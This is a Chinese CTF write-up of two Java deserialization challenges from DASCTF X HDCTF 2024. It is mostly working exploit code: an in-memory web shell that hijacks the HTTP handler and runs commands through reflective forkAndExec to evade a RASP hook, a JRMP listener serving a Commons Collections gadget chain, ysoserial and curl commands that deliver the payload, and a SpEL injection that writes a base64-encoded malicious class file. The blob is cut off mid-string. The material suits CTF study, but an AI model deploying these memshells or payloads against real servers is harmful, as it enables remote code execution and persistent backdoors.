image-20240923164051417

参考:

Javolution 出题小记 | H4cking to the Gate . (h4cking2thegate.github.io)

DubheCTF坐牢记录 (pankas.top)

Javolution - Zer0peach can’t think

2024 XCTF 联赛 DubheCTF 部分题解 - S1uM4i

AS-23-Yuanzhen-A-new-attack-interface-in-Java.pdf (blackhat.com)

luelueking/Deserial_Sink_With_JDBC: Some ReadObject Sink With JDBC (github.com)

[DubheCTF 2024 Web Writeup - Boogiepop Doesn’t Laugh (boogipop.com)](https://boogipop.com/2024/03/19/DubheCTF 2024 Web Writeup/#Javolution)

DASCTF X HDCTF 2024 - NoCommonCollections

官方wp:DASCTF X HDCTF 2024 官方WP (yuque.com)

复现这道题主要是为了巩固JRMP和内存马。

分析

给了两个jar,一个题目逻辑,同时上了一个RASP通防。

借鉴了官网的wp,分析一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public static void main(String[] args) throws IOException {
int port = 8081;
HttpServer server = HttpServer.create(new InetSocketAddress(port), 0);
server.createContext("/", new MyHandler());
server.setExecutor((Executor)null);
server.start();
System.out.println("Server is listening on port " + port);
}

static class MyHandler implements HttpHandler {
MyHandler() {
}

public void handle(HttpExchange exchange) throws IOException {
try {
InputStream requestBody = exchange.getRequestBody();
ByteArrayOutputStream buffer = new ByteArrayOutputStream();
byte[] data = new byte[1024];

int nRead;
while((nRead = requestBody.read(data, 0, data.length)) != -1) {
buffer.write(data, 0, nRead);
}

buffer.flush();
String base64Param = buffer.toString();
SerializeUtil.base64deserial(base64Param);
String response = "Data received successfully";
exchange.sendResponseHeaders(200, (long)response.length());
OutputStream os = exchange.getResponseBody();
os.write(response.getBytes());
os.close();
} catch (Exception var9) {
String response = "Error";
exchange.sendResponseHeaders(200, (long)response.length());
OutputStream os = exchange.getResponseBody();
os.write(response.getBytes());
os.close();
}

}
}

很显然的反序列化入口,只需要post传参数据它自己就会接收,显示结果。

它还重写了ObjectInputStream,看一看:

image-20240927185452840

如题目所示,真是NoCommonsColletctions。

比较传统的一些过滤,题目只给了CC依赖没有给其他的东西,但是cc下的类又被黑名单过滤了,这种情况下由于没法触发getter,你不能使用SignObject二次反序列化,这里就该使用YsoSerial的JRMP服务去攻击了。

但是这一题还有个点位就是有个Rasp Hook了RuntimeProcessBuilder方法:

image-20240927185744753

因此这一题我们还需要反射调用native的forandexec方法去命令执行,并且需要自己实现一个JRMPListner

EXP

这里采用的是打入一个内存马:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
package com.boogipop.Solutions;

import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import sun.misc.Unsafe;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class HttpMemShell extends AbstractTranslet implements HttpHandler {
@Override
public void handle(HttpExchange httpExchange) throws IOException {
String query = httpExchange.getRequestURI().getQuery();
String[] split = query.split("=");
String response = "SUCCESS"+"\n";
if (split[0].equals("shell")) {
String cmd = split[1];
InputStream inputStream = null;
try {
inputStream = execCmd(cmd);
} catch (Exception e) {
throw new RuntimeException(e);
}
byte[] bytes = new byte[1024];
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
int flag=-1;
while((flag=inputStream.read(bytes))!=-1){
byteArrayOutputStream.write(bytes,0,flag);
}
response += byteArrayOutputStream.toString();
byteArrayOutputStream.close();
}
httpExchange.sendResponseHeaders(200,response.length());
OutputStream outputStream = httpExchange.getResponseBody();
outputStream.write(response.getBytes());
outputStream.close();
}
public HttpMemShell(){ //public和default的区别 public对所有类可见;default对同一个包内可见;templatlmpl默认实例化使用public memshell()
try{
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
Field threadsFeld = threadGroup.getClass().getDeclaredField("threads");
threadsFeld.setAccessible(true);
Thread[] threads = (Thread[])threadsFeld.get(threadGroup);
Thread thread = threads[1];

Field targetField = thread.getClass().getDeclaredField("target");
targetField.setAccessible(true);
Object object = targetField.get(thread);

Field this$0Field = object.getClass().getDeclaredField("this$0");
this$0Field.setAccessible(true);
object = this$0Field.get(object);

Field contextsField = object.getClass().getDeclaredField("contexts");
contextsField.setAccessible(true);
object = contextsField.get(object);

Field listField = object.getClass().getDeclaredField("list");
listField.setAccessible(true);
java.util.LinkedList linkedList = (java.util.LinkedList)listField.get(object);
object = linkedList.get(0);

Field handlerField = object.getClass().getDeclaredField("handler");
handlerField.setAccessible(true);
handlerField.set(object,this);
}catch(Exception exception){
}
}

public static InputStream execCmd(String cmd) throws Exception{
String[] command=cmd.split(" ");
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);

Class processClass = null;

try {
processClass = Class.forName("java.lang.UNIXProcess");
} catch (ClassNotFoundException e) {
processClass = Class.forName("java.lang.ProcessImpl");
}
Object processObject = unsafe.allocateInstance(processClass);
byte[][] args = new byte[command.length - 1][];
int size = args.length; // For added NUL bytes

for (int i = 0; i < args.length; i++) {
args[i] = command[i + 1].getBytes();
size += args[i].length;
}

byte[] argBlock = new byte[size];
int i = 0;

for (byte[] arg : args) {
System.arraycopy(arg, 0, argBlock, i, arg.length);
i += arg.length + 1;
// No need to write NUL bytes explicitly
}
int[] envc = new int[1];
int[] std_fds = new int[]{-1, -1, -1};
Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
Field helperpathField = processClass.getDeclaredField("helperpath");
launchMechanismField.setAccessible(true);
helperpathField.setAccessible(true);
Object launchMechanismObject = launchMechanismField.get(processObject);
byte[] helperpathObject = (byte[]) helperpathField.get(processObject);

int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);

Method forkMethod = processClass.getDeclaredMethod("forkAndExec", new Class[]{
int.class, byte[].class, byte[].class, byte[].class, int.class,
byte[].class, int.class, byte[].class, int[].class, boolean.class
});

forkMethod.setAccessible(true);// 设置访问权限

int pid = (int) forkMethod.invoke(processObject, new Object[]{
ordinal + 1, helperpathObject, toCString(command[0]), argBlock, args.length,
null, envc[0], null, std_fds, false
});

// 初始化命令执行结果,将本地命令执行的输出流转换为程序执行结果的输出流
Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
initStreamsMethod.setAccessible(true);
initStreamsMethod.invoke(processObject, std_fds);

// 获取本地执行结果的输入流
Method getInputStreamMethod = processClass.getMethod("getInputStream");
getInputStreamMethod.setAccessible(true);
InputStream in = (InputStream) getInputStreamMethod.invoke(processObject);
return in;
}
static byte[] toCString(String s) {
if (s == null)
return null;
byte[] bytes = s.getBytes();
byte[] result = new byte[bytes.length + 1];
System.arraycopy(bytes, 0,
result, 0,
bytes.length);
result[result.length - 1] = (byte) 0;
return result;
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}

JRMPListener.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
package com.eddiemurphy;

import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.ObjectStreamClass;
import java.io.OutputStream;
import java.io.Serializable;
import java.net.*;
import java.rmi.MarshalException;
import java.rmi.server.ObjID;
import java.rmi.server.UID;
import java.util.Arrays;

import javax.net.ServerSocketFactory;

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import sun.rmi.transport.TransportConstants;

/**
* Generic JRMP listener
*
* Opens up an JRMP listener that will deliver the specified payload to any
* client connecting to it and making a call.
*
* @author mbechler
*
*/
@SuppressWarnings ( {
"restriction"
} )
public class JRMPListener implements Runnable {

private int port;
private Object payloadObject;
private ServerSocket ss;
private Object waitLock = new Object();
private boolean exit;
private boolean hadConnection;
private URL classpathUrl;


public JRMPListener ( int port, Object payloadObject ) throws NumberFormatException, IOException {
this.port = port;
this.payloadObject = payloadObject;
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
}

public JRMPListener (int port, String className, URL classpathUrl) throws IOException {
this.port = port;
this.payloadObject = makeDummyObject(className);
this.classpathUrl = classpathUrl;
this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port);
}


public boolean waitFor ( int i ) {
try {
if ( this.hadConnection ) {
return true;
}
System.err.println("Waiting for connection");
synchronized ( this.waitLock ) {
this.waitLock.wait(i);
}
return this.hadConnection;
}
catch ( InterruptedException e ) {
return false;
}
}


/**
*
*/
public void close () {
this.exit = true;
try {
this.ss.close();
}
catch ( IOException e ) {}
synchronized ( this.waitLock ) {
this.waitLock.notify();
}
}


public static final void main ( final String[] args ) throws Exception {

if ( args.length < 1 ) {
System.err.println(JRMPListener.class.getName() + " <port>");
System.exit(-1);
return;
}

final Object payloadObject = CC3.getObject();

try {
int port = Integer.parseInt(args[ 0 ]);
System.err.println("* Opening JRMP listener on " + port);
JRMPListener c = new JRMPListener(port, payloadObject);
c.run();
}
catch ( Exception e ) {
System.err.println("Listener error");
e.printStackTrace(System.err);
}
}


public void run () {
try {
Socket s = null;
try {
while ( !this.exit && ( s = this.ss.accept() ) != null ) {
try {
s.setSoTimeout(5000);
InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
System.err.println("Have connection from " + remote);

InputStream is = s.getInputStream();
InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);

// Read magic (or HTTP wrapper)
bufIn.mark(4);
DataInputStream in = new DataInputStream(bufIn);
int magic = in.readInt();

short version = in.readShort();
if ( magic != TransportConstants.Magic || version != TransportConstants.Version ) {
s.close();
continue;
}

OutputStream sockOut = s.getOutputStream();
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
DataOutputStream out = new DataOutputStream(bufOut);

byte protocol = in.readByte();
switch ( protocol ) {
case TransportConstants.StreamProtocol:
out.writeByte(TransportConstants.ProtocolAck);
if ( remote.getHostName() != null ) {
out.writeUTF(remote.getHostName());
} else {
out.writeUTF(remote.getAddress().toString());
}
out.writeInt(remote.getPort());
out.flush();
in.readUTF();
in.readInt();
case TransportConstants.SingleOpProtocol:
doMessage(s, in, out, this.payloadObject);
break;
default:
case TransportConstants.MultiplexProtocol:
System.err.println("Unsupported protocol");
s.close();
continue;
}

bufOut.flush();
out.flush();
}
catch ( InterruptedException e ) {
return;
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
finally {
System.err.println("Closing connection");
s.close();
}

}

}
finally {
if ( s != null ) {
s.close();
}
if ( this.ss != null ) {
this.ss.close();
}
}

}
catch ( SocketException e ) {
return;
}
catch ( Exception e ) {
e.printStackTrace(System.err);
}
}


private void doMessage ( Socket s, DataInputStream in, DataOutputStream out, Object payload ) throws Exception {
System.err.println("Reading message...");

int op = in.read();

switch ( op ) {
case TransportConstants.Call:
// service incoming RMI call
doCall(in, out, payload);
break;

case TransportConstants.Ping:
// send ack for ping
out.writeByte(TransportConstants.PingAck);
break;

case TransportConstants.DGCAck:
UID u = UID.read(in);
break;

default:
throw new IOException("unknown transport op " + op);
}

s.close();
}


private void doCall ( DataInputStream in, DataOutputStream out, Object payload ) throws Exception {
ObjectInputStream ois = new ObjectInputStream(in) {

@Override
protected Class<?> resolveClass ( ObjectStreamClass desc ) throws IOException, ClassNotFoundException {
if ( "[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
return ObjID[].class;
} else if ("java.rmi.server.ObjID".equals(desc.getName())) {
return ObjID.class;
} else if ( "java.rmi.server.UID".equals(desc.getName())) {
return UID.class;
}
throw new IOException("Not allowed to read object");
}
};

ObjID read;
try {
read = ObjID.read(ois);
}
catch ( java.io.IOException e ) {
throw new MarshalException("unable to read objID", e);
}


if ( read.hashCode() == 2 ) {
ois.readInt(); // method
ois.readLong(); // hash
System.err.println("Is DGC call for " + Arrays.toString((ObjID[])ois.readObject()));
}

System.err.println("Sending return with payload for obj " + read);

out.writeByte(TransportConstants.Return);// transport op
ObjectOutputStream oos = new MarshalOutputStream(out, this.classpathUrl);

oos.writeByte(TransportConstants.ExceptionalReturn);
new UID().write(oos);

oos.writeObject(payload);

oos.flush();
out.flush();

this.hadConnection = true;
synchronized ( this.waitLock ) {
this.waitLock.notifyAll();
}
}

@SuppressWarnings({"deprecation"})
protected static Object makeDummyObject (String className) {
try {
ClassLoader isolation = new ClassLoader() {};
ClassPool cp = new ClassPool();
cp.insertClassPath(new ClassClassPath(Dummy.class));
CtClass clazz = cp.get(Dummy.class.getName());
clazz.setName(className);
return clazz.toClass(isolation).newInstance();
}
catch ( Exception e ) {
e.printStackTrace();
return new byte[0];
}
}
static final class MarshalOutputStream extends ObjectOutputStream {
private URL sendUrl;
public MarshalOutputStream(OutputStream out, URL u) throws IOException
{
super(out);
this.sendUrl = u;
}
MarshalOutputStream(OutputStream out) throws IOException {
super(out);
}
@Override
protected void annotateClass(Class<?> cl) throws IOException {
if (this.sendUrl != null) {
writeObject(this.sendUrl.toString());
} else if (!(cl.getClassLoader() instanceof URLClassLoader)) {
writeObject(null);
} else {
URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs();
String cb = "";
for (URL u : us) {
cb += u.toString();
}
writeObject(cb);
}
}
/**
* Serializes a location from which to load the specified class.
*/
@Override
protected void annotateProxyClass(Class<?> cl) throws IOException {
annotateClass(cl);
}
}

public static class Dummy implements Serializable {
private static final long serialVersionUID = 1L;

}
}

然后我们使用CC3的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package com.boogipop.Solutions;

import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
public static Object getObject() throws Exception {
Templates templatesImpl = SerializeUtils.getTemplate();
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//CC1后半
HashMap<Object,Object> map=new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1)); //随便改成什么Transformer
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap, "aaa");
HashMap<Object, Object> hashMap=new HashMap<>();
hashMap.put(tiedMapEntry,"bbb");
map.remove("aaa");
Field factory = LazyMap.class.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,chainedTransformer);
return hashMap;
}
}

然后是一些Serialize的方法包,这里省略。

直接打一个jar包,放vps上开JRMPClient:

1
java -jar nocc_exp.jar port

payload:

1
java -jar ysoserial-all.jar JRMPClient vps:port|base64
1
curl -X POST http://localhost:9877/ -d "rO0AB....."

image-20240927191025308

image-20240927191134707

DASCTF X HDCTF 2024 - ImpossibleUnser

这道题是一个套皮题,其实就是一个简单的用SpEl写入jre然后反序列化的操作。这道也是当时打出来最多的。

分析

审计源码可以发现有3个路由,其中index路由会列出/usr/lib/jvm/java-8-openjdk-amd64/jre目录文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
package com.ctf;
import java.net.InetSocketAddress;
import com.sun.net.httpserver.HttpServer;
public class IndexController {
public static void main(String[] args) throws Exception {
HttpServer server = HttpServer.create(new InetSocketAddress(8000), 0);
server.createContext("/ctf", new SPELHandler());
server.createContext("/index", new IndexHandler());
server.createContext("/unser", new UnserHandler());
server.setExecutor(null);
server.start();
}
}

/index访问,会发现jre下有classes目录,然后unser路由就是一个反序列化入口:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public void handle(HttpExchange httpExchange) throws IOException {
InputStream requestBody = httpExchange.getRequestBody();
String body = readInputStream(requestBody);
if (!body.equals("")){
Map<String, String> PostData = parseFormData(body);
String payload=PostData.get("unser");
payload= URLDecoder.decode(payload);
try {
base64deserial(payload);
} catch (Exception e) {
throw new RuntimeException(e);
}
String response="Welcome to My Challenge";
httpExchange.sendResponseHeaders(200, response.length());
OutputStream os = httpExchange.getResponseBody();
os.write(response.getBytes());
os.close();
}
String response = "Give me some payload Plz Unser me";
httpExchange.sendResponseHeaders(200, response.length());
OutputStream os = httpExchange.getResponseBody();
os.write(response.getBytes());
os.close();
}

但是没有任何的依赖和利用链,并且还存在一个SPEL注入的入口,但是做了过滤,无法直接rce。

这里就需要配合SPEL去写一个恶意的class文件到jre/classes目录下,构造的恶意类如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;

public class EvilMemshell implements Serializable, HttpHandler {
private void readObject(ObjectInputStream in) throws InterruptedException, IOException, ClassNotFoundException {
try{
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
Field threadsFeld = threadGroup.getClass().getDeclaredField("threads");
threadsFeld.setAccessible(true);
Thread[] threads = (Thread[])threadsFeld.get(threadGroup);
Thread thread = threads[1];

Field targetField = thread.getClass().getDeclaredField("target");
targetField.setAccessible(true);
Object object = targetField.get(thread);

Field this$0Field = object.getClass().getDeclaredField("this$0");
this$0Field.setAccessible(true);
object = this$0Field.get(object);

Field contextsField = object.getClass().getDeclaredField("contexts");
contextsField.setAccessible(true);
object = contextsField.get(object);

Field listField = object.getClass().getDeclaredField("list");
listField.setAccessible(true);
java.util.LinkedList linkedList = (java.util.LinkedList)listField.get(object);
object = linkedList.get(0);

Field handlerField = object.getClass().getDeclaredField("handler");
handlerField.setAccessible(true);
handlerField.set(object,this);
}catch(Exception exception){
}
}
public static String base64serial(Object o) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();

String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;

}

public static void main(String[] args) throws Exception {
System.out.println(base64serial(new EvilMemshell()));
}

@Override
public void handle(HttpExchange httpExchange) throws IOException {
String query = httpExchange.getRequestURI().getQuery();
String[] split = query.split("=");
String response = "SUCCESS"+"\n";
if (split[0].equals("shell")) {
String cmd = split[1];
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
byte[] bytes = new byte[1024];
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
int flag=-1;
while((flag=inputStream.read(bytes))!=-1){
byteArrayOutputStream.write(bytes,0,flag);
}
response += byteArrayOutputStream.toString();
byteArrayOutputStream.close();
}
httpExchange.sendResponseHeaders(200,response.length());
OutputStream outputStream = httpExchange.getResponseBody();
outputStream.write(response.getBytes());
outputStream.close();
}
}

SPEL注入:

1
payload=T(com.sun.org.apache.xml.internal.security.utils.JavaUtils).writeBytesToFilename("/usr/lib/jvm/java-8-openjdk-amd64/jre/classes/EvilMemshell.class",T(java.util.Base64).getDecoder.decode("yv66vgAAADQA6QoAOQBXCgBYAFkKAFgAWgoAOQBbCABcCgBdAF4KAF8AYAoAXwBhBwBiCABjCABkCABlCABmBwBnCgAOAGgIAGkKAF8AagcAawcAbAoAEwBXBwBtCgAVAG4KABUAbwoAFQBwCgBxAHIKABMAcwoAdAB1CQB2AHcHAHgKAB0AVwoAHQB5CgB6AHsKAHwAfQoAfgB/CACACgCBAIIIAIMIAIQKAIEAhQoAhgCHCgCGAIgKAIkAigoAiwCMCgATAI0HAI4KAC0AVwoALQCPCgATAJAKAC0AkAoAEwBwCgCBAJEKAHwAkgoAfACTCgCBAJQKAJUAlgoAlQBwBwCXBwCYBwCZAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACnJlYWRPYmplY3QBAB4oTGphdmEvaW8vT2JqZWN0SW5wdXRTdHJlYW07KVYBAA1TdGFja01hcFRhYmxlBwBrAQAKRXhjZXB0aW9ucwcAmgcAmwcAnAEADGJhc2U2NHNlcmlhbAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9TdHJpbmc7AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAAZoYW5kbGUBACgoTGNvbS9zdW4vbmV0L2h0dHBzZXJ2ZXIvSHR0cEV4Y2hhbmdlOylWBwB4BwCdBwCeBwCfBwCgBwChBwBsAQAKU291cmNlRmlsZQEAEUV2aWxNZW1zaGVsbC5qYXZhDAA8AD0HAKIMAKMApAwApQCmDACnAKgBAAd0aHJlYWRzBwCpDACqAKsHAKwMAK0ArgwArwCwAQATW0xqYXZhL2xhbmcvVGhyZWFkOwEABnRhcmdldAEABnRoaXMkMAEACGNvbnRleHRzAQAEbGlzdAEAFGphdmEvdXRpbC9MaW5rZWRMaXN0DACvALEBAAdoYW5kbGVyDACyALMBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0BABpqYXZhL2lvL09iamVjdE91dHB1dFN0cmVhbQwAPAC0DAC1ALYMALcAPQcAuAwAuQC8DAC9AL4HAL8MAMAAwQcAwgwAwwDEAQAMRXZpbE1lbXNoZWxsDABIAEkHAMUMAMYAxwcAnQwAyADJBwDKDADLAMwBAAE9BwCeDADNAM4BAAhTVUNDRVNTCgEABXNoZWxsDADPANAHANEMANIA0wwA1ADVBwDWDADXANgHAKAMANkA2gwA2wDcAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAN0A3gwA3wDMDADgAOEMAOIA4wwA5ADlDADmAL4HAOcMANsA6AEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAImNvbS9zdW4vbmV0L2h0dHBzZXJ2ZXIvSHR0cEhhbmRsZXIBAB5qYXZhL2xhbmcvSW50ZXJydXB0ZWRFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24BACNjb20vc3VuL25ldC9odHRwc2VydmVyL0h0dHBFeGNoYW5nZQEAEGphdmEvbGFuZy9TdHJpbmcBABNbTGphdmEvbGFuZy9TdHJpbmc7AQATamF2YS9pby9JbnB1dFN0cmVhbQEAAltCAQAQamF2YS9sYW5nL1RocmVhZAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEADmdldFRocmVhZEdyb3VwAQAZKClMamF2YS9sYW5nL1RocmVhZEdyb3VwOwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAD2phdmEvbGFuZy9DbGFzcwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEADXNldEFjY2Vzc2libGUBAAQoWilWAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABUoSSlMamF2YS9sYW5nL09iamVjdDsBAANzZXQBACcoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KVYBABkoTGphdmEvaW8vT3V0cHV0U3RyZWFtOylWAQALd3JpdGVPYmplY3QBABUoTGphdmEvbGFuZy9PYmplY3Q7KVYBAAVjbG9zZQEAEGphdmEvdXRpbC9CYXNlNjQBAApnZXRFbmNvZGVyAQAHRW5jb2RlcgEADElubmVyQ2xhc3NlcwEAHCgpTGphdmEvdXRpbC9CYXNlNjQkRW5jb2RlcjsBAAt0b0J5dGVBcnJheQEABCgpW0IBABhqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXIBAA5lbmNvZGVUb1N0cmluZwEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAA1nZXRSZXF1ZXN0VVJJAQAQKClMamF2YS9uZXQvVVJJOwEADGphdmEvbmV0L1VSSQEACGdldFF1ZXJ5AQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAVzcGxpdAEAJyhMamF2YS9sYW5nL1N0cmluZzspW0xqYXZhL2xhbmcvU3RyaW5nOwEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBAARyZWFkAQAFKFtCKUkBAAV3cml0ZQEAByhbQklJKVYBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEABmxlbmd0aAEAAygpSQEAE3NlbmRSZXNwb25zZUhlYWRlcnMBAAUoSUopVgEAD2dldFJlc3BvbnNlQm9keQEAGCgpTGphdmEvaW8vT3V0cHV0U3RyZWFtOwEACGdldEJ5dGVzAQAUamF2YS9pby9PdXRwdXRTdHJlYW0BAAUoW0IpVgAhAB0AOQACADoAOwAAAAUAAQA8AD0AAQA+AAAAHQABAAEAAAAFKrcAAbEAAAABAD8AAAAGAAEAAAAIAAIAQABBAAIAPgAAAUoAAwANAAAAv7gAArYAA00stgAEEgW2AAZOLQS2AActLLYACMAACcAACToEGQQEMjoFGQW2AAQSCrYABjoGGQYEtgAHGQYZBbYACDoHGQe2AAQSC7YABjoIGQgEtgAHGQgZB7YACDoHGQe2AAQSDLYABjoJGQkEtgAHGQkZB7YACDoHGQe2AAQSDbYABjoKGQoEtgAHGQoZB7YACMAADjoLGQsDtgAPOgcZB7YABBIQtgAGOgwZDAS2AAcZDBkHKrYAEacABE2xAAEAAAC6AL0AEgACAD8AAABiABgAAAALAAcADAARAA0AFgAOACMADwApABEANQASADsAEwBEABUAUAAWAFYAFwBfABkAawAaAHEAGwB6AB0AhgAeAIwAHwCYACAAoAAiAKwAIwCyACQAugAmAL0AJQC+ACcAQgAAAAkAAvcAvQcAQwAARAAAAAgAAwBFAEYARwAJAEgASQACAD4AAABTAAMABAAAACe7ABNZtwAUTLsAFVkrtwAWTSwqtgAXLLYAGLgAGSu2ABq2ABtOLbAAAAABAD8AAAAaAAYAAAApAAgAKgARACsAFgAsABoALgAlAC8ARAAAAAQAAQASAAkASgBLAAIAPgAAAC0AAwABAAAAEbIAHLsAHVm3AB64AB+2ACCxAA